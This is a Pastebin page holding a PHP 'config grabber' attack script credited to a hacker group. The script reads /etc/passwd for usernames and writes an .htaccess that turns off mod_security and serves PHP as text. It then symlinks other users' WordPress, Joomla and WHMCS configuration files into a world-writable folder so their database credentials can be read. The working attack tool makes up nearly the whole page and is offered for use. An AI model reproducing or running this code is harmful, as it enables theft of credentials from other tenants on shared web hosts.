Advertisement
CYBERSERKERS

Simple Config Grabber

Nov 15th, 2015
1,356
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.64 KB | None | 0 0
  1. <title>.: SIMPLE CONFIG GRABBER :.</title><body bgcolor=black><center><img src=http://azzat.wap.mu/files/1049320/assassin_s_creed_iv_black_flag.png><br><br><i><b><h1><font color=red>HELLCOME</font></h1><br><br><font color=lime>AUTHOR : </font><a href=mailto:[email protected]>AZZATSSINS CYBERSERKERS</a></b></i><br>============<br><form method=post>
  2. <textarea type=hidden rows=10 cols=30 name=user><?php $users=file("/etc/passwd");
  3. foreach($users as $user)
  4. {
  5.  $str=explode(":",$user);
  6.  echo $str[0]."\n";
  7.  }
  8.  ?></textarea><br><br>
  9. <input type=submit name=su value=" GRAB "></form>
  10. </center><?php
  11.  /*AUTHOR : AZZATSSINS CYBERSERKERS | BN-IDBTE4M */
  12. if(isset($_POST['su']))
  13.  {
  14.  mkdir('x',0777);
  15.  $r = " # Config Symlink By AZZATSSINS \nOptions Indexes FollowSymLinks \nForceType text/plain \nAddType text/plain .php \nAddType text/plain .html \nAddType text/html .shtml \nAddType txt .php \nAddHandler server-parsed .php \nAddHandler server-parsed .shtml \nAddHandler txt .php \nAddHandler txt .html \nAddHandler txt .shtml \nOptions All \n<IfModule mod_security.c> \nSecFilterEngine Off \nSecFilterScanPOST Off \nSecFilterCheckURLEncoding Off \nSecFilterCheckCookieFormat Off \nSecFilterCheckUnicodeEncoding Off \nSecFilterNormalizeCookies Off \n</IfModule>";
  16. $f = fopen('x/.htaccess','w');
  17. fwrite($f,$r);
  18. echo "<br><center><b><i><a href=x>CECK INI HERE</a></i></b></center>";
  19. $usr=explode("\n",$_POST['user']);
  20. foreach($usr as $uss)
  21. {
  22.  $us=trim($uss);
  23. $r="x/";
  24. symlink('/home/'.$us.'/public_html/wp-config.php',$r.$us.'..wp-config');
  25. symlink('/home/'.$us.'/public_html/configuration.php',$r.$us.'..joomla-or-whmcs');symlink('/home/'.$us.'/public_html/blog/wp-config.php',$r.$us.'..wp-config');
  26. symlink('/home/'.$us.'/public_html/blog/configuration.php',$r.$us.'..joomla');symlink('/home/'.$us.'/public_html/wp/wp-config.php',$r.$us.'..wp-config');
  27. symlink('/home/'.$us.'/public_html/wordpress/wp-congig.php',$r.$us.'..wordpress');symlink('/home/'.$us.'/public_html/config.php',$r.$us.'..config');
  28. symlink('/home/'.$us.'/public_html/whmcs/configuration.php',$r.$us.'..whmcs');
  29. symlink('/home/'.$us.'/public_html/support/configuration.php',$r.$us.'..supporwhmcs');
  30. symlink('/home/'.$us.'/public_html/secure/configuration.php',$r.$us.'..securewhmcs');
  31. symlink('/home/'.$us.'/public_html/clients/configuration.php',$r.$us.'..whmcs-clients');
  32. symlink('/home/'.$us.'/public_html/client/configuration.php',$r.$us.'..whmcs-client');
  33. symlink('/home/'.$us.'/public_html/billing/configuration.php',$r.$us.'..whmcs-billing');
  34. symlink('/home/'.$us.'/public_html/admin/config.php',$r.$us.'..admin-config');
  35. echo'<meta http-equiv="Refresh" content= "0; url=x">';}}?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement